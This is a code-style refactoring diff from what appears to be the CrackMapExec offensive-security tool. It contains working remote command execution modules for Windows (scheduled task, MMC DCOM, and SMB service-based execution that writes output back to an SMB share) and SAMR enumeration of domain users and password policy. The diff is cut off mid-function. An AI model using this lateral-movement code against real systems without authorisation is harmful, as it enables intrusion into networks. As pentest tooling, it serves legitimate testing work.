elif self.__retOutput is False:
|
||||
argument_xml = " <Arguments>/C {}</Arguments>".format(command)
|
||||
argument_xml = f" <Arguments>/C {command}</Arguments>"
|
||||
|
||||
cme_logger.debug('Generated argument XML: ' + argument_xml)
|
||||
cme_logger.debug("Generated argument XML: " + argument_xml)
|
||||
xml += argument_xml
|
||||
|
||||
xml += """
|
||||
|
@ -136,26 +136,26 @@ class TSCH_EXEC:
|
|||
|
||||
xml = self.gen_xml(command, tmpFileName, fileless)
|
||||
|
||||
logging.info("Task XML: {}".format(xml))
|
||||
logging.info(f"Task XML: {xml}")
|
||||
taskCreated = False
|
||||
logging.info('Creating task \\%s' % tmpName)
|
||||
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
logging.info(f"Creating task \\{tmpName}")
|
||||
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
taskCreated = True
|
||||
|
||||
logging.info('Running task \\%s' % tmpName)
|
||||
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
|
||||
logging.info(f"Running task \\{tmpName}")
|
||||
tsch.hSchRpcRun(dce, f"\\{tmpName}")
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
cme_logger.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
|
||||
if resp['pLastRuntime']['wYear'] != 0:
|
||||
cme_logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
logging.info('Deleting task \\%s' % tmpName)
|
||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||
logging.info(f"Deleting task \\{tmpName}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
taskCreated = False
|
||||
|
||||
if taskCreated is True:
|
||||
|
@ -165,7 +165,7 @@ class TSCH_EXEC:
|
|||
if fileless:
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output:
|
||||
with open(os.path.join("/tmp", "cme_hosted", tmpFileName), "r") as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except IOError:
|
||||
|
@ -175,17 +175,17 @@ class TSCH_EXEC:
|
|||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
while True:
|
||||
try:
|
||||
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback)
|
||||
logging.info(f"Attempting to read ADMIN$\\Temp\\{tmpFileName}")
|
||||
smbConnection.getFile("ADMIN$", f"Temp\\{tmpFileName}", self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if str(e).find('SHARING') > 0:
|
||||
if str(e).find("SHARING") > 0:
|
||||
sleep(3)
|
||||
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||
elif str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
|
||||
sleep(3)
|
||||
else:
|
||||
raise
|
||||
cme_logger.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
||||
cme_logger.debug(f"Deleting file ADMIN$\\Temp\\{tmpFileName}")
|
||||
smbConnection.deleteFile("ADMIN$", f"Temp\\{tmpFileName}")
|
||||
|
||||
dce.disconnect()
|
||||
|
|
|
@ -120,10 +120,10 @@ class MMCEXEC:
|
|||
|
||||
def exit(self):
|
||||
dispParams = DISPPARAMS(None, False)
|
||||
dispParams['rgvarg'] = NULL
|
||||
dispParams['rgdispidNamedArgs'] = NULL
|
||||
dispParams['cArgs'] = 0
|
||||
dispParams['cNamedArgs'] = 0
|
||||
dispParams["rgvarg"] = NULL
|
||||
dispParams["rgdispidNamedArgs"] = NULL
|
||||
dispParams["cArgs"] = 0
|
||||
dispParams["cNamedArgs"] = 0
|
||||
|
||||
self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams,
|
||||
0, [], [])
|
||||
|
@ -133,41 +133,41 @@ class MMCEXEC:
|
|||
self.__output = gen_random_string(6)
|
||||
local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
command = '/Q /c ' + data
|
||||
command = "/Q /c " + data
|
||||
if self.__retOutput is True:
|
||||
command += ' 1> ' + '\\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output) + ' 2>&1'
|
||||
command += " 1> " + f"\\\\{local_ip}\\{self.__share_name}\\{self.__output}" + " 2>&1"
|
||||
|
||||
dispParams = DISPPARAMS(None, False)
|
||||
dispParams['rgdispidNamedArgs'] = NULL
|
||||
dispParams['cArgs'] = 4
|
||||
dispParams['cNamedArgs'] = 0
|
||||
dispParams["rgdispidNamedArgs"] = NULL
|
||||
dispParams["cArgs"] = 4
|
||||
dispParams["cNamedArgs"] = 0
|
||||
arg0 = VARIANT(None, False)
|
||||
arg0['clSize'] = 5
|
||||
arg0['vt'] = VARENUM.VT_BSTR
|
||||
arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||
arg0['_varUnion']['bstrVal']['asData'] = self.__shell
|
||||
arg0["clSize"] = 5
|
||||
arg0["vt"] = VARENUM.VT_BSTR
|
||||
arg0["_varUnion"]["tag"] = VARENUM.VT_BSTR
|
||||
arg0["_varUnion"]["bstrVal"]["asData"] = self.__shell
|
||||
|
||||
arg1 = VARIANT(None, False)
|
||||
arg1['clSize'] = 5
|
||||
arg1['vt'] = VARENUM.VT_BSTR
|
||||
arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||
arg1['_varUnion']['bstrVal']['asData'] = self.__pwd
|
||||
arg1["clSize"] = 5
|
||||
arg1["vt"] = VARENUM.VT_BSTR
|
||||
arg1["_varUnion"]["tag"] = VARENUM.VT_BSTR
|
||||
arg1["_varUnion"]["bstrVal"]["asData"] = self.__pwd
|
||||
|
||||
arg2 = VARIANT(None, False)
|
||||
arg2['clSize'] = 5
|
||||
arg2['vt'] = VARENUM.VT_BSTR
|
||||
arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||
arg2['_varUnion']['bstrVal']['asData'] = command
|
||||
arg2["clSize"] = 5
|
||||
arg2["vt"] = VARENUM.VT_BSTR
|
||||
arg2["_varUnion"]["tag"] = VARENUM.VT_BSTR
|
||||
arg2["_varUnion"]["bstrVal"]["asData"] = command
|
||||
|
||||
arg3 = VARIANT(None, False)
|
||||
arg3['clSize'] = 5
|
||||
arg3['vt'] = VARENUM.VT_BSTR
|
||||
arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
|
||||
arg3['_varUnion']['bstrVal']['asData'] = '7'
|
||||
dispParams['rgvarg'].append(arg3)
|
||||
dispParams['rgvarg'].append(arg2)
|
||||
dispParams['rgvarg'].append(arg1)
|
||||
dispParams['rgvarg'].append(arg0)
|
||||
arg3["clSize"] = 5
|
||||
arg3["vt"] = VARENUM.VT_BSTR
|
||||
arg3["_varUnion"]["tag"] = VARENUM.VT_BSTR
|
||||
arg3["_varUnion"]["bstrVal"]["asData"] = "7"
|
||||
dispParams["rgvarg"].append(arg3)
|
||||
dispParams["rgvarg"].append(arg2)
|
||||
dispParams["rgvarg"].append(arg1)
|
||||
dispParams["rgvarg"].append(arg0)
|
||||
|
||||
self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams,
|
||||
0, [], [])
|
||||
|
@ -181,7 +181,7 @@ class MMCEXEC:
|
|||
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
|
||||
with open(os.path.join("/tmp", "cme_hosted", self.__output), "r") as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except IOError:
|
||||
|
|
|
@ -50,24 +50,24 @@ def convert(low, high, lockout=False):
|
|||
return "[-] Invalid TIME"
|
||||
|
||||
if days > 1:
|
||||
time += "{0} days ".format(days)
|
||||
time += f"{days} days "
|
||||
elif days == 1:
|
||||
time += "{0} day ".format(days)
|
||||
time += f"{days} day "
|
||||
if hours > 1:
|
||||
time += "{0} hours ".format(hours)
|
||||
time += f"{hours} hours "
|
||||
elif hours == 1:
|
||||
time += "{0} hour ".format(hours)
|
||||
time += f"{hours} hour "
|
||||
if minutes > 1:
|
||||
time += "{0} minutes ".format(minutes)
|
||||
time += f"{minutes} minutes "
|
||||
elif minutes == 1:
|
||||
time += "{0} minute ".format(minutes)
|
||||
time += f"{minutes} minute "
|
||||
return time
|
||||
|
||||
|
||||
class PassPolDump:
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
|
||||
"139/SMB": (r"ncacn_np:%s[\pipe\samr]", 139),
|
||||
"445/SMB": (r"ncacn_np:%s[\pipe\samr]", 445),
|
||||
}
|
||||
|
||||
def __init__(self, connection):
|
||||
|
@ -101,14 +101,24 @@ class PassPolDump:
|
|||
protodef = PassPolDump.KNOWN_PROTOCOLS[protocol]
|
||||
port = protodef[1]
|
||||
except KeyError:
|
||||
cme_logger.debug("Invalid Protocol '{}'".format(protocol))
|
||||
cme_logger.debug("Trying protocol {}".format(protocol))
|
||||
rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain,
|
||||
self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos)
|
||||
cme_logger.debug(f"Invalid Protocol '{protocol}'")
|
||||
cme_logger.debug(f"Trying protocol {protocol}")
|
||||
rpctransport = transport.SMBTransport(
|
||||
self.addr,
|
||||
port,
|
||||
r"\samr",
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
self.aesKey,
|
||||
doKerberos=self.doKerberos
|
||||
)
|
||||
try:
|
||||
self.fetchList(rpctransport)
|
||||
except Exception as e:
|
||||
cme_logger.debug('Protocol failed: {}'.format(e))
|
||||
cme_logger.debug(f"Protocol failed: {e}")
|
||||
else:
|
||||
# Got a response. No need for further iterations.
|
||||
self.pretty_print()
|
||||
|
@ -123,85 +133,91 @@ class PassPolDump:
|
|||
|
||||
# Setup Connection
|
||||
resp = samr.hSamrConnect2(dce)
|
||||
if resp['ErrorCode'] != 0:
|
||||
raise Exception('Connect error')
|
||||
if resp["ErrorCode"] != 0:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp['ServerHandle'],
|
||||
resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp["ServerHandle"],
|
||||
enumerationContext=0,
|
||||
preferedMaximumLength=500)
|
||||
if resp2['ErrorCode'] != 0:
|
||||
raise Exception('Connect error')
|
||||
if resp2["ErrorCode"] != 0:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp['ServerHandle'],
|
||||
name=resp2['Buffer']['Buffer'][0]['Name'])
|
||||
if resp3['ErrorCode'] != 0:
|
||||
raise Exception('Connect error')
|
||||
resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp["ServerHandle"],
|
||||
name=resp2["Buffer"]["Buffer"][0]["Name"])
|
||||
if resp3["ErrorCode"] != 0:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'],
|
||||
resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp["ServerHandle"],
|
||||
desiredAccess=samr.MAXIMUM_ALLOWED,
|
||||
domainId=resp3['DomainId'])
|
||||
if resp4['ErrorCode'] != 0:
|
||||
raise Exception('Connect error')
|
||||
domainId=resp3["DomainId"])
|
||||
if resp4["ErrorCode"] != 0:
|
||||
raise Exception("Connect error")
|
||||
|
||||
self.__domains = resp2['Buffer']['Buffer']
|
||||
domainHandle = resp4['DomainHandle']
|
||||
self.__domains = resp2["Buffer"]["Buffer"]
|
||||
domainHandle = resp4["DomainHandle"]
|
||||
# End Setup
|
||||
|
||||
re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle,
|
||||
domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
|
||||
self.__min_pass_len = re['Buffer']['Password']['MinPasswordLength'] or "None"
|
||||
self.__pass_hist_len = re['Buffer']['Password']['PasswordHistoryLength'] or "None"
|
||||
self.__max_pass_age = convert(int(re['Buffer']['Password']['MaxPasswordAge']['LowPart']), int(re['Buffer']['Password']['MaxPasswordAge']['HighPart']))
|
||||
self.__min_pass_age = convert(int(re['Buffer']['Password']['MinPasswordAge']['LowPart']), int(re['Buffer']['Password']['MinPasswordAge']['HighPart']))
|
||||
self.__pass_prop = d2b(re['Buffer']['Password']['PasswordProperties'])
|
||||
self.__min_pass_len = re["Buffer"]["Password"]["MinPasswordLength"] or "None"
|
||||
self.__pass_hist_len = re["Buffer"]["Password"]["PasswordHistoryLength"] or "None"
|
||||
self.__max_pass_age = convert(int(re["Buffer"]["Password"]["MaxPasswordAge"]["LowPart"]), int(re['Buffer']['Password']['MaxPasswordAge']['HighPart']))
|
||||
self.__min_pass_age = convert(int(re["Buffer"]["Password"]["MinPasswordAge"]["LowPart"]), int(re['Buffer']['Password']['MinPasswordAge']['HighPart']))
|
||||
self.__pass_prop = d2b(re["Buffer"]["Password"]["PasswordProperties"])
|
||||
|
||||
re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle,
|
||||
domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation)
|
||||
self.__rst_accnt_lock_counter = convert(0, re['Buffer']['Lockout']['LockoutObservationWindow'], lockout=True)
|
||||
self.__lock_accnt_dur = convert(0, re['Buffer']['Lockout']['LockoutDuration'], lockout=True)
|
||||
self.__accnt_lock_thres = re['Buffer']['Lockout']['LockoutThreshold'] or "None"
|
||||
self.__rst_accnt_lock_counter = convert(0, re["Buffer"]["Lockout"]["LockoutObservationWindow"], lockout=True)
|
||||
self.__lock_accnt_dur = convert(0, re["Buffer"]["Lockout"]["LockoutDuration"], lockout=True)
|
||||
self.__accnt_lock_thres = re["Buffer"]["Lockout"]["LockoutThreshold"] or "None"
|
||||
|
||||
re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle,
|
||||
domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation)
|
||||
self.__force_logoff_time = convert(re['Buffer']['Logoff']['ForceLogoff']['LowPart'], re['Buffer']['Logoff']['ForceLogoff']['HighPart'])
|
||||
self.__force_logoff_time = convert(re["Buffer"]["Logoff"]["ForceLogoff"]["LowPart"], re['Buffer']['Logoff']['ForceLogoff']['HighPart'])
|
||||
|
||||
self.pass_pol = {'min_pass_len': self.__min_pass_len, 'pass_hist_len': self.__pass_hist_len,
|
||||
'max_pass_age': self.__max_pass_age, 'min_pass_age': self.__min_pass_age,
|
||||
'pass_prop': self.__pass_prop, 'rst_accnt_lock_counter': self.__rst_accnt_lock_counter,
|
||||
'lock_accnt_dur': self.__lock_accnt_dur, 'accnt_lock_thres': self.__accnt_lock_thres,
|
||||
'force_logoff_time': self.__force_logoff_time}
|
||||
self.pass_pol = {
|
||||
"min_pass_len": self.__min_pass_len,
|
||||
"pass_hist_len": self.__pass_hist_len,
|
||||
"max_pass_age": self.__max_pass_age,
|
||||
"min_pass_age": self.__min_pass_age,
|
||||
"pass_prop": self.__pass_prop,
|
||||
"rst_accnt_lock_counter": self.__rst_accnt_lock_counter,
|
||||
"lock_accnt_dur": self.__lock_accnt_dur,
|
||||
"accnt_lock_thres": self.__accnt_lock_thres,
|
||||
"force_logoff_time": self.__force_logoff_time
|
||||
}
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
def pretty_print(self):
|
||||
|
||||
PASSCOMPLEX = {
|
||||
5: 'Domain Password Complex:',
|
||||
4: 'Domain Password No Anon Change:',
|
||||
3: 'Domain Password No Clear Change:',
|
||||
2: 'Domain Password Lockout Admins:',
|
||||
1: 'Domain Password Store Cleartext:',
|
||||
0: 'Domain Refuse Password Change:'
|
||||
5: "Domain Password Complex:",
|
||||
4: "Domain Password No Anon Change:",
|
||||
3: "Domain Password No Clear Change:",
|
||||
2: "Domain Password Lockout Admins:",
|
||||
1: "Domain Password Store Cleartext:",
|
||||
0: "Domain Refuse Password Change:"
|
||||
}
|
||||
|
||||
cme_logger.debug('Found domain(s):')
|
||||
cme_logger.debug("Found domain(s):")
|
||||
for domain in self.__domains:
|
||||
cme_logger.debug('{}'.format(domain['Name']))
|
||||
cme_logger.debug(f"{domain['Name']}")
|
||||
|
||||
self.logger.success("Dumping password info for domain: {}".format(self.__domains[0]['Name']))
|
||||
self.logger.success(f"Dumping password info for domain: {self.__domains[0]['Name']}")
|
||||
|
||||
self.logger.highlight("Minimum password length: {}".format(self.__min_pass_len))
|
||||
self.logger.highlight("Password history length: {}".format(self.__pass_hist_len))
|
||||
self.logger.highlight("Maximum password age: {}".format(self.__max_pass_age))
|
||||
self.logger.highlight('')
|
||||
self.logger.highlight("Password Complexity Flags: {}".format(self.__pass_prop or "None"))
|
||||
self.logger.highlight(f"Minimum password length: {self.__min_pass_len}")
|
||||
self.logger.highlight(f"Password history length: {self.__pass_hist_len}")
|
||||
self.logger.highlight(f"Maximum password age: {self.__max_pass_age}")
|
||||
self.logger.highlight("")
|
||||
self.logger.highlight(f"Password Complexity Flags: {self.__pass_prop or 'None'}")
|
||||
|
||||
for i, a in enumerate(self.__pass_prop):
|
||||
self.logger.highlight("\t{} {}".format(PASSCOMPLEX[i], str(a)))
|
||||
self.logger.highlight(f"\t{PASSCOMPLEX[i]} {str(a)}")
|
||||
|
||||
self.logger.highlight('')
|
||||
self.logger.highlight("Minimum password age: {}".format(self.__min_pass_age))
|
||||
self.logger.highlight("Reset Account Lockout Counter: {}".format(self.__rst_accnt_lock_counter))
|
||||
self.logger.highlight("Locked Account Duration: {}".format(self.__lock_accnt_dur))
|
||||
self.logger.highlight("Account Lockout Threshold: {}".format(self.__accnt_lock_thres))
|
||||
self.logger.highlight("Forced Log off Time: {}".format(self.__force_logoff_time))
|
||||
self.logger.highlight("")
|
||||
self.logger.highlight(f"Minimum password age: {self.__min_pass_age}")
|
||||
self.logger.highlight(f"Reset Account Lockout Counter: {self.__rst_accnt_lock_counter}")
|
||||
self.logger.highlight(f"Locked Account Duration: {self.__lock_accnt_dur}")
|
||||
self.logger.highlight(f"Account Lockout Threshold: {self.__accnt_lock_thres}")
|
||||
self.logger.highlight(f"Forced Log off Time: {self.__force_logoff_time}")
|
|
@ -39,4 +39,4 @@ class RemoteFile:
|
|||
return self.__currentOffset
|
||||
|
||||
def __str__(self):
|
||||
return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName)
|
||||
return f"\\\\{self.__smbConnection.getRemoteHost()}\\{self.__share}\\{self.__fileName}"
|
|
@ -47,15 +47,25 @@ class UserSamrDump:
|
|||
protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
|
||||
port = protodef[1]
|
||||
except KeyError as e:
|
||||
self.logger.debug("Invalid Protocol '{}'".format(protocol))
|
||||
self.logger.debug("Trying protocol {}".format(protocol))
|
||||
rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain,
|
||||
self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos)
|
||||
self.logger.debug(f"Invalid Protocol '{protocol}'")
|
||||
self.logger.debug(f"Trying protocol {protocol}")
|
||||
rpctransport = transport.SMBTransport(
|
||||
self.addr,
|
||||
port,
|
||||
r"\samr",
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
self.aesKey,
|
||||
doKerberos=self.doKerberos
|
||||
)
|
||||
try:
|
||||
self.fetchList(rpctransport)
|
||||
break
|
||||
except Exception as e:
|
||||
self.logger.debug('Protocol failed: {}'.format(e))
|
||||
self.logger.debug(f"Protocol failed: {e}")
|
||||
return self.users
|
||||
|
||||
def fetchList(self, rpctransport):
|
||||
|
@ -65,28 +75,28 @@ class UserSamrDump:
|
|||
|
||||
# Setup Connection
|
||||
resp = samr.hSamrConnect2(dce)
|
||||
if resp['ErrorCode'] != 0:
|
||||
raise Exception('Connect error')
|
||||
if resp["ErrorCode"] != 0:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp['ServerHandle'],
|
||||
resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp["ServerHandle"],
|
||||
enumerationContext=0,
|
||||
preferedMaximumLength=500)
|
||||
if resp2['ErrorCode'] != 0:
|
||||
raise Exception('Connect error')
|
||||
if resp2["ErrorCode"] != 0:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp['ServerHandle'],
|
||||
name=resp2['Buffer']['Buffer'][0]['Name'])
|
||||
if resp3['ErrorCode'] != 0:
|
||||
raise Exception('Connect error')
|
||||
resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp["ServerHandle"],
|
||||
name=resp2["Buffer"]["Buffer"][0]["Name"])
|
||||
if resp3["ErrorCode"] != 0:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'],
|
||||
resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp["ServerHandle"],
|
||||
desiredAccess=samr.MAXIMUM_ALLOWED,
|
||||
domainId=resp3['DomainId'])
|
||||
if resp4['ErrorCode'] != 0:
|
||||
raise Exception('Connect error')
|
||||
domainId=resp3["DomainId"])
|
||||
if resp4["ErrorCode"] != 0:
|
||||
raise Exception("Connect error")
|
||||
|
||||
self.__domains = resp2['Buffer']['Buffer']
|
||||
domainHandle = resp4['DomainHandle']
|
||||
self.__domains = resp2["Buffer"]["Buffer"]
|
||||
domainHandle = resp4["DomainHandle"]
|
||||
# End Setup
|
||||
|
||||
status = STATUS_MORE_ENTRIES
|
||||
|
@ -95,20 +105,20 @@ class UserSamrDump:
|
|||
try:
|
||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
|
||||
except DCERPCException as e:
|
||||
if str(e).find('STATUS_MORE_ENTRIES') < 0:
|
||||
self.logger.error('Error enumerating domain user(s)')
|
||||
if str(e).find("STATUS_MORE_ENTRIES") < 0:
|
||||
self.logger.error("Error enumerating domain user(s)")
|
||||
break
|
||||
resp = e.get_packet()
|
||||
self.logger.success('Enumerated domain user(s)')
|
||||
for user in resp['Buffer']['Buffer']:
|
||||
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
|
||||
info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
|
||||
(username, uid, info_user) = (user['Name'], user['RelativeId'], info['Buffer']['All'])
|
||||
self.logger.highlight('{}\\{:<30} {}'.format(self.domain, user['Name'], info_user['AdminComment']))
|
||||
self.users.append(user['Name'])
|
||||
samr.hSamrCloseHandle(dce, r['UserHandle'])
|
||||
self.logger.success("Enumerated domain user(s)")
|
||||
for user in resp["Buffer"]["Buffer"]:
|
||||
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
|
||||
info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation)
|
||||
(username, uid, info_user) = (user["Name"], user["RelativeId"], info["Buffer"]["All"])
|
||||
self.logger.highlight(f"{self.domain}\\{user['Name']:<30} {info_user['AdminComment']}")
|
||||
self.users.append(user["Name"])
|
||||
samr.hSamrCloseHandle(dce, r["UserHandle"])
|
||||
|
||||
enumerationContext = resp['EnumerationContext']
|
||||
status = resp['ErrorCode']
|
||||
enumerationContext = resp["EnumerationContext"]
|
||||
status = resp["ErrorCode"]
|
||||
|
||||
dce.disconnect()
|
||||
|
|
|
@ -86,31 +86,31 @@ class SMBEXEC:
|
|||
|
||||
def execute_remote(self, data):
|
||||
self.__output = gen_random_string(6)
|
||||
self.__batchFile = gen_random_string(6) + '.bat'
|
||||
self.__batchFile = gen_random_string(6) + ".bat"
|
||||
|
||||
if self.__retOutput:
|
||||
command = self.__shell + 'echo '+ data + ' ^> \\\\127.0.0.1\\{}\\{} 2^>^&1 > %TEMP%\{} & %COMSPEC% /Q /c %TEMP%\{} & %COMSPEC% /Q /c del %TEMP%\{}'.format(self.__share_name, self.__output, self.__batchFile, self.__batchFile, self.__batchFile)
|
||||
command = self.__shell + "echo " + data + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\{self.__batchFile}"
|
||||
else:
|
||||
command = self.__shell + data
|
||||
|
||||
with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file:
|
||||
with open(os.path.join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file:
|
||||
batch_file.write(command)
|
||||
|
||||
self.logger.debug('Hosting batch file with command: ' + command)
|
||||
self.logger.debug("Hosting batch file with command: " + command)
|
||||
|
||||
#command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
|
||||
self.logger.debug('Command to execute: ' + command)
|
||||
self.logger.debug("Command to execute: " + command)
|
||||
|
||||
self.logger.debug('Remote service {} created.'.format(self.__serviceName))
|
||||
self.logger.debug(f"Remote service {self.__serviceName} created.")
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
|
||||
service = resp['lpServiceHandle']
|
||||
service = resp["lpServiceHandle"]
|
||||
|
||||
try:
|
||||
self.logger.debug('Remote service {} started.'.format(self.__serviceName))
|
||||
self.logger.debug(f"Remote service {self.__serviceName} started.")
|
||||
scmr.hRStartServiceW(self.__scmr, service)
|
||||
except:
|
||||
pass
|
||||
self.logger.debug('Remote service {} deleted.'.format(self.__serviceName))
|
||||
self.logger.debug(f"Remote service {self.__serviceName} deleted.")
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
self.get_output_remote()
|
||||
|
@ -125,7 +125,7 @@ class SMBEXEC:
|
|||
break
|
||||
except Exception as e:
|
||||
print(e)
|
||||
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
||||
if str(e).find("STATUS_SHARING_VIOLATION") >=0:
|
||||
# Output not finished, let's wait
|
||||
sleep(2)
|
||||
pass
|
||||
|
@ -137,42 +137,43 @@ class SMBEXEC:
|
|||
|
||||
def execute_fileless(self, data):
|
||||
self.__output = gen_random_string(6)
|
||||
self.__batchFile = gen_random_string(6) + '.bat'
|
||||
self.__batchFile = gen_random_string(6) + ".bat"
|
||||
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||
|
||||
if self.__retOutput:
|
||||
command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output)
|
||||
command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}"
|
||||
else:
|
||||
command = self.__shell + data
|
||||
|
||||
with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file:
|
||||
with open(os.path.join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file:
|
||||
batch_file.write(command)
|
||||
|
||||
self.logger.debug('Hosting batch file with command: ' + command)
|
||||
self.logger.debug("Hosting batch file with command: " + command)
|
||||
|
||||
command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
|
||||
self.logger.debug('Command to execute: ' + command)
|
||||
command = self.__shell + f"\\\\{local_ip}\\{self.__share_name}\\{self.__batchFile}"
|
||||
self.logger.debug("Command to execute: " + command)
|
||||
|
||||
self.logger.debug('Remote service {} created.'.format(self.__serviceName))
|
||||
self.logger.debug(f"Remote service {self.__serviceName} created.")
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
|
||||
service = resp['lpServiceHandle']
|
||||
service = resp["lpServiceHandle"]
|
||||
|
||||
try:
|
||||
self.logger.debug('Remote service {} started.'.format(self.__serviceName))
|
||||
self.logger.debug(f"Remote service {self.__serviceName} started.")
|
||||
scmr.hRStartServiceW(self.__scmr, service)
|
||||
except:
|
||||
pass
|
||||
self.logger.debug('Remote service {} deleted.'.format(self.__serviceName))
|
||||
self.logger.debug(f"Remote service {self.__serviceName} deleted.")
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
self.get_output_fileless()
|
||||
|
||||
def get_output_fileless(self):
|
||||
if not self.__retOutput: return
|
||||
if not self.__retOutput:
|
||||
return
|
||||
|
||||
while True:
|
||||
try:
|
||||
